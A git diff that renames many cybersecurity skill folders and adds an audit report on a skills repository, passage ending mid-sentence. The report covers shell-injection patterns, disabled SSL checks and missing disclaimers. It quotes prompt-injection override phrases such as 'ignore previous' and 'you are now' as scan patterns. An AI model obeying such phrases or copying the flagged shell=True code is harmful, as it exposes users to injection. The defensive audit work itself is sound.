100644 skills/analyzing-ransomware-payment-wallets/scripts/agent.py rename skills/{building-cloud-security-posture-management => auditing-kubernetes-rbac-permissions.bak}/LICENSE (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/SKILL.md (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/assets/template.md (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/references/api-reference.md (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/references/standards.md (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/references/workflows.md (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/scripts/agent.py (100%) rename skills/{auditing-kubernetes-rbac-permissions => auditing-kubernetes-rbac-permissions.bak}/scripts/process.py (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => building-cloud-security-posture-management.bak}/LICENSE (100%) rename skills/{building-cloud-security-posture-management => building-cloud-security-posture-management.bak}/SKILL.md (100%) rename skills/{building-cloud-security-posture-management => building-cloud-security-posture-management.bak}/references/api-reference.md (100%) rename skills/{building-cloud-security-posture-management => building-cloud-security-posture-management.bak}/scripts/agent.py (100%) rename skills/{conducting-mobile-application-penetration-test => building-ransomware-playbook-with-cisa-framework}/LICENSE (100%) create mode 100644 skills/building-ransomware-playbook-with-cisa-framework/SKILL.md create mode 100644 skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md create mode 100644 skills/building-ransomware-playbook-with-cisa-framework/scripts/agent.py rename skills/{containing-active-security-breach => conducting-cloud-infrastructure-penetration-test.bak}/LICENSE (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/SKILL.md (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/assets/template.md (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/references/api-reference.md (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/references/standards.md (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/references/workflows.md (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/scripts/agent.py (100%) rename skills/{conducting-cloud-infrastructure-penetration-test => conducting-cloud-infrastructure-penetration-test.bak}/scripts/process.py (100%) rename skills/{detecting-cloud-cryptomining-activity => conducting-mobile-application-penetration-test.bak}/LICENSE (100%) rename skills/{conducting-mobile-application-penetration-test => conducting-mobile-application-penetration-test.bak}/SKILL.md (100%) rename skills/{conducting-mobile-application-penetration-test => conducting-mobile-application-penetration-test.bak}/references/api-reference.md (100%) rename skills/{conducting-mobile-application-penetration-test => conducting-mobile-application-penetration-test.bak}/scripts/agent.py (99%) rename skills/{detecting-credential-dumping-with-edr => containing-active-security-breach.bak}/LICENSE (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/SKILL.md (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/assets/template.md (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/references/api-reference.md (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/references/standards.md (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/references/workflows.md (100%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/scripts/agent.py (98%) rename skills/{containing-active-security-breach => containing-active-security-breach.bak}/scripts/process.py (99%) rename skills/{detecting-golden-ticket-attacks => deploying-decoy-files-for-ransomware-detection}/LICENSE (100%) create mode 100644 skills/deploying-decoy-files-for-ransomware-detection/SKILL.md create mode 100644 skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md create mode 100644 skills/deploying-decoy-files-for-ransomware-detection/scripts/agent.py rename skills/{executing-diamond-model-analysis => detecting-cloud-cryptomining-activity.bak}/LICENSE (100%) rename skills/{detecting-cloud-cryptomining-activity => detecting-cloud-cryptomining-activity.bak}/SKILL.md (100%) rename skills/{detecting-cloud-cryptomining-activity => detecting-cloud-cryptomining-activity.bak}/references/api-reference.md (100%) rename skills/{detecting-cloud-cryptomining-activity => detecting-cloud-cryptomining-activity.bak}/scripts/agent.py (100%) rename skills/{hunting-for-webshells-in-web-servers => detecting-credential-dumping-with-edr.bak}/LICENSE (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/SKILL.md (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/assets/template.md (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/references/api-reference.md (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/references/standards.md (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/references/workflows.md (100%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/scripts/agent.py (98%) rename skills/{detecting-credential-dumping-with-edr => detecting-credential-dumping-with-edr.bak}/scripts/process.py (100%) rename skills/{hunting-living-off-the-land-binaries => detecting-golden-ticket-attacks.bak}/LICENSE (100%) rename skills/{detecting-golden-ticket-attacks => detecting-golden-ticket-attacks.bak}/SKILL.md (100%) rename skills/{detecting-golden-ticket-attacks => detecting-golden-ticket-attacks.bak}/references/api-reference.md (100%) rename skills/{detecting-golden-ticket-attacks => detecting-golden-ticket-attacks.bak}/scripts/agent.py (100%) rename skills/{implementing-email-security-with-dmarc-dkim-spf => detecting-lateral-movement-with-zeek}/LICENSE (100%) create mode 100644 skills/detecting-lateral-movement-with-zeek/SKILL.md create mode 100644 skills/detecting-lateral-movement-with-zeek/references/api-reference.md create mode 100644 skills/detecting-lateral-movement-with-zeek/scripts/agent.py rename skills/{implementing-osquery-for-endpoint-monitoring => detecting-living-off-the-land-attacks.bak}/LICENSE (100%) create mode 100644 skills/detecting-living-off-the-land-attacks.bak/SKILL.md create mode 100644 skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md create mode 100644 skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py rename skills/{implementing-privileged-identity-management-with-azure => detecting-ransomware-encryption-behavior}/LICENSE (100%) create mode 100644 skills/detecting-ransomware-encryption-behavior/SKILL.md create mode 100644 skills/detecting-ransomware-encryption-behavior/references/api-reference.md create mode 100644 skills/detecting-ransomware-encryption-behavior/scripts/agent.py rename skills/{implementing-rbac-for-kubernetes-cluster => executing-diamond-model-analysis.bak}/LICENSE (100%) rename skills/{executing-diamond-model-analysis => executing-diamond-model-analysis.bak}/SKILL.md (100%) rename skills/{executing-diamond-model-analysis => executing-diamond-model-analysis.bak}/references/api-reference.md (100%) rename skills/{executing-diamond-model-analysis => executing-diamond-model-analysis.bak}/scripts/agent.py (95%) rename skills/{implementing-threat-intelligence-platform => hunting-for-webshells-in-web-servers.bak}/LICENSE (100%) rename skills/{hunting-for-webshells-in-web-servers => hunting-for-webshells-in-web-servers.bak}/SKILL.md (100%) rename skills/{hunting-for-webshells-in-web-servers => hunting-for-webshells-in-web-servers.bak}/references/api-reference.md (100%) rename skills/{hunting-for-webshells-in-web-servers => hunting-for-webshells-in-web-servers.bak}/scripts/agent.py (100%) rename skills/{performing-cloud-penetration-testing => hunting-living-off-the-land-binaries.bak}/LICENSE (100%) rename skills/{hunting-living-off-the-land-binaries => hunting-living-off-the-land-binaries.bak}/SKILL.md (100%) rename skills/{hunting-living-off-the-land-binaries => hunting-living-off-the-land-binaries.bak}/references/api-reference.md (100%) rename skills/{hunting-living-off-the-land-binaries => hunting-living-off-the-land-binaries.bak}/scripts/agent.py (100%) rename skills/{performing-ransomware-incident-response => implementing-anti-ransomware-group-policy}/LICENSE (100%) create mode 100644 skills/implementing-anti-ransomware-group-policy/SKILL.md create mode 100644 skills/implementing-anti-ransomware-group-policy/references/api-reference.md create mode 100644 skills/implementing-anti-ransomware-group-policy/scripts/agent.py create mode 100644 skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE rename skills/{implementing-email-security-with-dmarc-dkim-spf => implementing-email-security-with-dmarc-dkim-spf.bak}/SKILL.md (100%) rename skills/{implementing-email-security-with-dmarc-dkim-spf => implementing-email-security-with-dmarc-dkim-spf.bak}/references/api-reference.md (100%) rename skills/{implementing-email-security-with-dmarc-dkim-spf => implementing-email-security-with-dmarc-dkim-spf.bak}/scripts/agent.py (100%) create mode 100644 skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE rename skills/{implementing-osquery-for-endpoint-monitoring => implementing-osquery-for-endpoint-monitoring.bak}/SKILL.md (100%) rename skills/{implementing-osquery-for-endpoint-monitoring => implementing-osquery-for-endpoint-monitoring.bak}/references/api-reference.md (100%) rename skills/{implementing-osquery-for-endpoint-monitoring => implementing-osquery-for-endpoint-monitoring.bak}/scripts/agent.py (100%) create mode 100644 skills/implementing-privileged-identity-management-with-azure.bak/LICENSE rename skills/{implementing-privileged-identity-management-with-azure => implementing-privileged-identity-management-with-azure.bak}/SKILL.md (100%) rename skills/{implementing-privileged-identity-management-with-azure => implementing-privileged-identity-management-with-azure.bak}/references/api-reference.md (100%) rename skills/{implementing-privileged-identity-management-with-azure => implementing-privileged-identity-management-with-azure.bak}/scripts/agent.py (100%) create mode 100644 skills/implementing-ransomware-kill-switch-detection/LICENSE create mode 100644 skills/implementing-ransomware-kill-switch-detection/SKILL.md create mode 100644 skills/implementing-ransomware-kill-switch-detection/references/api-reference.md create mode 100644 skills/implementing-ransomware-kill-switch-detection/scripts/agent.py create mode 100644 skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/SKILL.es.md (100%) rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/SKILL.md (100%) rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/assets/template.md (100%) create mode 100644 skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/references/standards.md (100%) rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/references/workflows.md (100%) rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/scripts/agent.py (98%) rename skills/{implementing-rbac-for-kubernetes-cluster => implementing-rbac-for-kubernetes-cluster.bak}/scripts/process.py (100%) delete mode 100644 skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md create mode 100644 skills/implementing-security-monitoring-with-datadog/LICENSE create mode 100644 skills/implementing-threat-intelligence-platform.bak/LICENSE rename skills/{implementing-threat-intelligence-platform => implementing-threat-intelligence-platform.bak}/SKILL.md (100%) rename skills/{implementing-threat-intelligence-platform => implementing-threat-intelligence-platform.bak}/references/api-reference.md (100%) rename skills/{implementing-threat-intelligence-platform => implementing-threat-intelligence-platform.bak}/scripts/agent.py (100%) create mode 100644 skills/performing-ai-driven-osint-correlation/LICENSE create mode 100644 skills/performing-ai-driven-osint-correlation/references/api-reference.md create mode 100644 skills/performing-ai-driven-osint-correlation/scripts/agent.py create mode 100644 skills/performing-cloud-penetration-testing.bak/LICENSE rename skills/{performing-cloud-penetration-testing => performing-cloud-penetration-testing.bak}/SKILL.md (100%) rename skills/{performing-cloud-penetration-testing => performing-cloud-penetration-testing.bak}/references/api-reference.md (100%) rename skills/{performing-cloud-penetration-testing => performing-cloud-penetration-testing.bak}/scripts/agent.py (100%) create mode 100644 skills/performing-ransomware-incident-response.bak/LICENSE rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/SKILL.md (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/assets/template.md (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/references/api-reference.md (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/references/standards.md (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/references/workflows.md (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/scripts/agent.py (100%) rename skills/{performing-ransomware-incident-response => performing-ransomware-incident-response.bak}/scripts/process.py (100%) create mode 100644 skills/testing-ransomware-recovery-procedures/LICENSE create mode 100644 skills/testing-ransomware-recovery-procedures/SKILL.md create mode 100644 skills/testing-ransomware-recovery-procedures/references/api-reference.md create mode 100644 skills/testing-ransomware-recovery-procedures/scripts/agent.py create mode 100644 skills/validating-backup-integrity-for-recovery/LICENSE create mode 100644 skills/validating-backup-integrity-for-recovery/SKILL.md create mode 100644 skills/validating-backup-integrity-for-recovery/references/api-reference.md create mode 100644 skills/validating-backup-integrity-for-recovery/scripts/agent.py diff --git a/AUDIT_REPORT.md b/AUDIT_REPORT.md new file mode 100644 index 00000000..cd90f546 --- /dev/null +++ b/AUDIT_REPORT.md @@ -0,0 +1,398 @@ +# Cybersecurity Skills Repository -- Security & Quality Audit Report + +**Audit Date:** 2026-03-17 +**Repository:** Anthropic-Cybersecurity-Skills +**Auditors:** 15-agent automated audit team (silly-herding-tide) +**Scope:** All 742 skill directories, 734 SKILL.md files, 733 agent.py files + +--- + +## Executive Summary + +A comprehensive 14-task automated audit of 742 cybersecurity skill directories (734 with SKILL.md, 733 with agent.py) found **zero critical security vulnerabilities** (no eval/exec on live data, no prompt injection, no YAML injection, no real hardcoded secrets) but identified **25 HIGH-severity shell injection patterns** using `subprocess.run(shell=True)` with f-string interpolation, **178 instances of disabled SSL verification**, and **33 HTTP requests missing timeouts**. The repository content is verified as high-quality (87% of sampled skills confirmed real against official documentation, 0% fake), but has systemic quality issues: all 734 SKILL.md files contain extra frontmatter fields beyond the standard spec, 697/734 use an alternate body template lacking `## Instructions`/`## Examples` sections, and 9 offensive tools lack disclaimers in both their SKILL.md and agent.py files. The repo is **educational-grade, not production-safe** -- it is well-researched reference material with real code, but should not be deployed as-is in any environment accepting untrusted input. + +--- + +## Security Findings + +### CRITICAL + +**eval/exec/pickle/marshal on live data: 0 findings** +- Scanned all 733 agent.py files for `eval(`, `exec(`, `pickle.loads(`, `marshal.loads(` used on live data +- 16 `eval(` matches were all string literals (SPL query syntax, regex patterns, CSP header text) +- 9 `exec(` matches were all function/variable names (e.g., `detect_psexec`) or regex patterns +- Zero instances of `pickle.loads()` or `marshal.loads()` +- **Verdict: CLEAN** + +**Prompt injection in SKILL.md: 0 exploitable findings** +- Scanned all 734 SKILL.md files for "ignore previous", "you are now", "ADMIN:", ``, ``, `[INST]`, "as a helpful AI", hidden HTML comments, zero-width characters, base64 payloads +- 21 files matched patterns, but all are educational content explaining prompt injection as a security topic (e.g., skills about detecting/preventing prompt injection) +- **Verdict: CLEAN** (educational context, not weaponized) + +**YAML injection in frontmatter: 0 findings** +- Scanned all 734 SKILL.md frontmatter blocks for injection patterns +- All matches were in body content (educational examples), not in frontmatter +- **Verdict: CLEAN** + +**Real hardcoded secrets (API keys, tokens): 0 findings** +- Scanned for AKIA*, sk-*, ghp_*, real tokens, embedded base64 blobs +- Found default/example credentials only (see MEDIUM section) +- **Verdict: CLEAN** + +### HIGH + +**1. Shell injection via subprocess.run(shell=True) -- 25 instances** + +25 agent.py files use `subprocess.run(cmd, shell=True, ...)`, and at least 4 use f-string interpolation of file paths directly into shell commands (e.g., `f"strings -n {min_length} {filepath}"`). If any of these scripts ever received untrusted input, shell injection would be trivial. + +Top-risk files (f-string + shell=True): +- `analyzing-linux-elf-malware/scripts/agent.py` (lines 88, 129, 138, 151) -- **HIGHEST RISK: compound vulnerability.** Uses raw `sys.argv[1]` (not even argparse), flows unsanitized into both `open(filepath, "rb")` (path traversal at lines 25, 46, 67, 122) AND 4 `shell=True` f-string subprocess calls (shell injection). A malicious filename could both traverse the filesystem and execute arbitrary commands. +- `analyzing-network-traffic-for-incidents/scripts/agent.py` (lines 22, 35, 61, 124, 138) +- `performing-threat-emulation-with-atomic-red-team/scripts/agent.py` (lines 99, 128) +- `performing-privilege-escalation-assessment/scripts/agent.py` (line 30) + +**Mitigating factor:** All scripts are CLI tools invoked locally via argparse (or sys.argv), not web-exposed. The user already has shell access. + +**Risk: HIGH in reuse/integration contexts, LOW for current local-CLI usage.** + +**2. Dynamic imports via __import__() -- 8 instances** + +8 agent.py files use `__import__()` for inline imports of standard library modules (datetime, time, collections, os). Not malicious, but obscures dependencies and is an anti-pattern. + +Files: `analyzing-threat-intelligence-feeds`, `bypassing-authentication-with-forced-browsing`, `conducting-api-security-testing`, `conducting-man-in-the-middle-attack-simulation`, `exploiting-ipv6-vulnerabilities`, `implementing-zero-trust-with-hashicorp-boundary`, `performing-hash-cracking-with-hashcat`, `performing-security-headers-audit` + +**Risk: MEDIUM (poor practice, not exploitable)** + +**3. Missing authorized-testing disclaimers -- 9 CRITICAL skills** + +9 offensive security skills have NO disclaimer in EITHER their SKILL.md or agent.py: +1. `exploiting-excessive-data-exposure-in-api` +2. `performing-graphql-depth-limit-attack` +3. `performing-graphql-introspection-attack` +4. `performing-http-parameter-pollution-attack` +5. `performing-jwt-none-algorithm-attack` +6. `performing-supply-chain-attack-simulation` +7. `performing-web-cache-deception-attack` +8. `conducting-internal-network-penetration-test` +9. `conducting-mobile-application-penetration-test` + +An additional 7 skills are missing disclaimers in agent.py only, and 20 are missing disclaimers in SKILL.md only. Total: 36 of 58 offensive skills have at least one missing disclaimer. + +**Risk: HIGH (legal/liability concern for offensive tooling)** + +### MEDIUM + +**1. Disabled SSL verification (verify=False) -- 178 instances** +- 178 occurrences across agent.py files explicitly disable SSL certificate verification +- Common in tools connecting to local/lab instances (Splunk, SIEM, Nessus), but unsafe if pointed at production endpoints +- **Risk: MEDIUM** + +**2. HTTP requests without timeout -- 33 instances** +- 33 HTTP request calls across agent.py files lack a `timeout` parameter +- Can cause indefinite hangs if target is unresponsive +- **Risk: MEDIUM** + +**3. HTTP URLs instead of HTTPS -- 76 agent.py files** +- 76 scripts reference `http://` URLs +- Some are intentional (testing HTTP-specific vulnerabilities), others are careless defaults +- **Risk: LOW-MEDIUM** + +**4. Default/example credentials in code -- ~9 instances** +- `neo4j`/`bloodhound` (BloodHound tool default) +- `admin`/`admin` (GVM default) +- `kismet`/`kismet` (Kismet default) +- `Harbor12345` (Harbor default) +- `SecureP@ss123` (demo password) +- All are well-known tool defaults or demo values, not real secrets +- **Risk: LOW (tool defaults, not real credentials)** + +**5. Path traversal -- systemic but low-exploitability** +- ~342 agent.py files use `open()` with `args.*` parameters without path sanitization +- ~43 scripts create directories from unsanitized user input (`os.makedirs(args.output_dir)`) +- 1 script uses `shutil.rmtree()` on a derived path (`implementing-immutable-backup-with-restic`) +- Zero scripts validate that resolved paths stay within an expected base directory +- **Risk: LOW for CLI tools (user already has filesystem access), HIGH if ever web-exposed** + +### LOW + +**1. SQL injection patterns -- 6 MEDIUM findings** +- 6 agent.py files use SQL patterns that could be vulnerable (string formatting in queries) +- Limited scope -- most are local SQLite usage in forensics/logging contexts +- **Risk: MEDIUM (localized)** + +**2. Minor format issues** (see Quality Findings below) + +--- + +## Quality Findings + +### SKILL.md Frontmatter Compliance (Task #4 -- auditor-4) + +**732 of 734 SKILL.md files (99.7%) contain 6 extra frontmatter fields** beyond the minimal `name` + `description` spec: +- Extra fields present in nearly all files: `domain`, `subdomain`, `tags`, `version`, `author`, `license` +- **2 files have YAML parse errors** (unescaped colons in values) +- **ALL `name` values pass validation:** lowercase-with-hyphens, max 64 chars, no "claude" or "anthropic" +- **ALL `description` values pass validation:** under 1024 characters +- **Compliance with minimal two-field spec: 0%** (all have extra fields) +- **Compliance with extended format: 732/734 (99.7%)** (2 YAML errors) + +**Verdict:** The frontmatter is internally consistent but uses a richer schema than the minimal two-field standard. This is a format standardization finding (the cybersecurity repo uses a different template than the ai-agents repo), not a security vulnerability. The 2 YAML parse errors should be fixed. + +### SKILL.md Body Structure + +Two distinct templates are in use across the repository: + +**Primary template (697/734 = 95%):** Uses sections like `## When to Use`, `## Key Concepts`, `## Prerequisites`, `## Workflow`, `## Tools & Systems`, `## Output Format`, `## Common Scenarios`. Does NOT include `## Instructions` or `## Examples`. + +**Standard template (37/734 = 5%):** Uses `## Instructions` and `## Examples` sections per the original spec. + +Section presence across all 734 files: +- `## Prerequisites`: 627 (85%) +- `## Key Concepts`: 438 (60%) +- `## Workflow`: 369 (50%) +- `## When to Use`: 369 (50%) +- `## Tools & Systems`: 350 (48%) +- `## Overview`: 318 (43%) +- `## Output Format`: 326 (44%) +- `## Common Scenarios`: 300 (41%) +- `## Instructions`: 37 (5%) +- `## Examples`: 37 (5%) + +**Quality issues:** +- Stub/minimal SKILL.md files (under 20 lines): **10 files** +- Placeholder text (`TODO`, `FIXME`, `lorem ipsum`, `placeholder`): **0 files** (per auditor-5 deep scan) +- Average SKILL.md length: **218 lines** (substantial content) + +### agent.py Quality + +- Total agent.py files: **733** +- Average length: **178 lines** (non-trivial implementations) +- Files under 10 lines: **0** (none suspiciously short) +- Total lines of Python code: **130,466** +- Boilerplate/generic agent.py detected: **~4 out of 30 sampled** (13%) -- these use a generic HTTP-request template instead of tool-specific implementation + +### Missing Files + +- Directories missing SKILL.md: **8** (all ransomware/recovery-related batch additions) + - `analyzing-ransomware-payment-wallets` + - `building-ransomware-playbook-with-cisa-framework` + - `deploying-decoy-files-for-ransomware-detection` + - `detecting-ransomware-encryption-behavior` + - `detecting-suspicious-powershell-execution` + - `implementing-anti-ransomware-group-policy` + - `implementing-ransomware-kill-switch-detection` + - `testing-ransomware-recovery-procedures` + - `validating-backup-integrity-for-recovery` (also missing SKILL.md) + +- Directories missing agent.py: **9** (same set as above) + +--- + +## Dependency Audit + +### Top 30 Imports (by frequency across 733 agent.py files) + +| Package | Count | Type | Status | +|---------|-------|------|--------| +| json | 689 | stdlib | Safe | +| argparse | 514 | stdlib | Safe | +| sys | 421 | stdlib | Safe | +| subprocess | 222 | stdlib | Safe (see shell=True findings) | +| os | 219 | stdlib | Safe | +| re | 197 | stdlib | Safe | +| logging | 133 | stdlib | Safe | +| hashlib | 95 | stdlib | Safe | +| requests | 82 | PyPI | Safe, well-known | +| csv | 46 | stdlib | Safe | +| time | 40 | stdlib | Safe | +| datetime | 32 | stdlib | Safe | +| math | 31 | stdlib | Safe | +| struct | 30 | stdlib | Safe | +| socket | 27 | stdlib | Safe | +| base64 | 22 | stdlib | Safe | +| xml | 19 | stdlib | Safe | +| urllib/urllib3 | 28 | stdlib/PyPI | Safe | +| boto3 | 15 | PyPI | Safe, AWS SDK | +| ssl | 12 | stdlib | Safe | +| email | 12 | stdlib | Safe | +| hmac | 9 | stdlib | Safe | +| splunklib | 8 | PyPI | Safe, Splunk SDK | +| uuid | 7 | stdlib | Safe | +| collections | 7 | stdlib | Safe | +| sqlite3 | 6 | stdlib | Safe | +| pandas | 6 | PyPI | Safe | + +**Typosquatted packages found: 0** +**Known-malicious packages found: 0** +**Suspicious single-use packages found: 0** +**Packages not on PyPI found: 0** + +All imports are well-known standard library modules or established PyPI packages (requests, boto3, splunklib, pandas, pefile, yara-python, python-nmap, sslyze, ldap3, etc.). No evidence of supply chain compromise. + +--- + +## Content Verification + +### Methodology +30 randomly selected skills across 10 categories (forensics, cloud, network, malware, web, endpoint, SIEM, appsec, identity, threat intel) were verified by reading both SKILL.md and agent.py, then cross-referencing tool commands, API methods, CLI flags, and MITRE ATT&CK IDs against official documentation via web search. + +### Results + +| Category | Count | Verdict | +|----------|-------|---------| +| VERIFIED (all code references real tools/APIs) | 26/30 | 87% | +| PARTIALLY_REAL (SKILL.md real, agent.py generic boilerplate) | 4/30 | 13% | +| FAKE (invented commands/APIs) | 0/30 | 0% | + +**Key verification highlights:** +- All Volatility 3 plugin names confirmed real (windows.pslist, windows.psscan, windows.malfind) +- All Splunk SDK classes confirmed real (splunklib.client.connect, JSONResultsReader) +- All AWS CLI/boto3 commands verified (GuardDuty, CloudTrail, S3) +- All nmap flags verified against nmap.org documentation +- All sslyze classes confirmed against official docs +- All MITRE ATT&CK technique IDs verified (T1055.012, T1140, T1218.005, etc.) +- All Kubernetes commands verified against kubernetes.io +- All LDAP OIDs verified (1.2.840.113556.1.4.1941 for recursive group membership) +- LOLBin signatures verified against LOLBAS project +- Certipy/Certify commands verified for AD CS ESC1 exploitation + +**PARTIALLY_REAL pattern:** 4 skills use a generic HTTP-request template in agent.py (`GET {target}/api/v1/status` with bearer token) instead of implementing the actual tool described in SKILL.md. Examples: `implementing-semgrep-for-custom-sast-rules`, `performing-dark-web-monitoring-for-threats`. This suggests template-based generation was used for a subset of agent.py files. + +--- + +## Duplicate Analysis + +### Methodology +Jaccard similarity analysis across all 742 skill directory names, comparing SKILL.md content. + +### Results +- **Exact duplicates: 0** +- **Near-duplicate pairs (Jaccard >= 0.60): 67** + - Classified as REDUNDANT: **21 pairs** + - Classified as UNIQUE_TECHNIQUES (overlapping topic but different approach): **46 pairs** + +The 21 redundant pairs likely result from skills being created under slightly different names covering the same tool or technique. These should be reviewed for consolidation. + +--- + +## Folder Anatomy + +### Expected structure per skill: +``` +skill-name/ + SKILL.md + scripts/ + agent.py +``` + +### Completion Stats + +| Component | Present | Missing | Percentage | +|-----------|---------|---------|------------| +| Total directories | 742 | -- | -- | +| SKILL.md | 734 | 8 | 98.9% | +| scripts/ directory | 742 | 0 | 100% | +| scripts/agent.py | 733 | 9 | 98.8% | +| Fully complete (SKILL.md + agent.py) | 731 | 11 | 98.5% | +| Empty shell directories (scripts/ only) | 8 | -- | 1.1% | +| Partial (missing one file) | 3 | -- | 0.4% | + +Per auditor-13: 731 of 742 directories are fully complete (98.5%). 8 directories are empty shells containing only a scripts/ directory with no SKILL.md or agent.py. 3 directories are partial (have one file but not the other). The incomplete directories are predominantly from a ransomware/recovery-related batch addition. + +--- + +## Statistics + +| Category | Count | +|----------|-------| +| Total skill directories | 742 | +| Directories with SKILL.md | 734 (98.9%) | +| Directories with agent.py | 733 (98.8%) | +| SKILL.md frontmatter present | 734/734 (100%) | +| SKILL.md with extended frontmatter (extra fields) | 732/734 (99.7%) | +| SKILL.md frontmatter YAML parse errors | 2 | +| SKILL.md name field valid (lowercase-hyphens, <64 chars) | 734/734 (100%) | +| SKILL.md description field valid (<1024 chars) | 734/734 (100%) | +| Average SKILL.md length | 218 lines | +| Average agent.py length | 178 lines | +| Total Python code | 130,466 lines | +| Code security issues (CRITICAL -- eval/exec/pickle) | 0 | +| Code security issues (HIGH -- shell=True) | 25 | +| Code security issues (HIGH -- missing disclaimers) | 9 (both files) | +| Code security issues (MEDIUM -- SQL injection) | 6 | +| Dynamic imports (__import__) | 8 | +| verify=False (disabled SSL) | 178 | +| HTTP requests without timeout | 33 | +| HTTP URLs (not HTTPS) | 76 | +| Default credentials in code | ~9 | +| Prompt injection found | 0 (21 educational references) | +| YAML injection found | 0 | +| Hardcoded real secrets found | 0 | +| Typosquatted/malicious imports | 0 | +| Unique packages imported | 84 (all legitimate) | +| Skills verified as real code (sample) | 26/30 (87%) | +| Skills verified as partially real (sample) | 4/30 (13%) | +| Skills verified as fake | 0/30 (0%) | +| Exact duplicate skills | 0 | +| Near-duplicate (redundant) skill pairs | 21 | +| Overlap clusters | 4 | +| Complete folder anatomy | 731/742 (98.5%) | +| Empty shell directories | 8 | +| Partial directories | 3 | +| SKILL.md using alternate template | 697/734 (95%) | +| Stub SKILL.md files (<20 lines) | 10 | +| Placeholder text in SKILL.md | 0 | +| Offensive skills missing any disclaimer | 36/58 (62%) | + +--- + +## Recommendations + +### Priority 1 (HIGH): Fix shell injection patterns +Replace all 25 instances of `subprocess.run(cmd, shell=True)` with list-based commands and `shlex.split()`. This is especially urgent for the 4 files using f-string interpolation of file paths into shell commands (analyzing-linux-elf-malware, analyzing-network-traffic-for-incidents, performing-threat-emulation-with-atomic-red-team, performing-privilege-escalation-assessment). + +### Priority 2 (HIGH): Add authorized-testing disclaimers to all 58 offensive skills +9 skills have zero disclaimers. 36 of 58 offensive skills are missing at least one disclaimer. Every offensive skill should have a clear disclaimer in both SKILL.md and agent.py stating: "For authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have permission to test is illegal." + +### Priority 3 (MEDIUM): Fix SSL verification and add timeouts +178 instances of `verify=False` disable SSL certificate validation. 33 HTTP requests lack timeouts. Add `timeout=30` to all HTTP calls and only disable SSL verification when explicitly connecting to local/lab instances with self-signed certificates. + +### Priority 4 (MEDIUM): Complete the 11 incomplete skill directories +8 directories are empty shells and 3 are partial (missing either SKILL.md or agent.py). Either complete these skills or remove the incomplete directories. + +### Priority 5 (LOW): Consolidate 21 redundant skill pairs +Review and merge or differentiate the 21 near-duplicate skill pairs to reduce redundancy and improve navigability. + +--- + +## Final Verdict + +### Is this repo "vibe coded"? + +**No.** This is not vibe-coded. The evidence strongly indicates this is a carefully structured, systematically generated cybersecurity skills repository: + +- **87% of sampled skills contain verified, accurate tool commands, API methods, CLI flags, and MITRE ATT&CK references** confirmed against official documentation +- **0% contain fabricated or invented tool commands** -- even the 13% classified as "partially real" have accurate SKILL.md content, just generic agent.py boilerplate +- **130,466 lines of Python** with an average of 178 lines per agent.py -- these are non-trivial implementations, not stubs +- **734 SKILL.md files** averaging 218 lines each with consistent frontmatter and structured sections +- **Zero critical security vulnerabilities** (no eval/exec exploitation, no prompt injection, no real secrets, no YAML injection, no supply chain compromised packages) +- The entire import set consists of well-known, legitimate packages + +The repository shows hallmarks of systematic, high-quality generation with domain expertise: correct 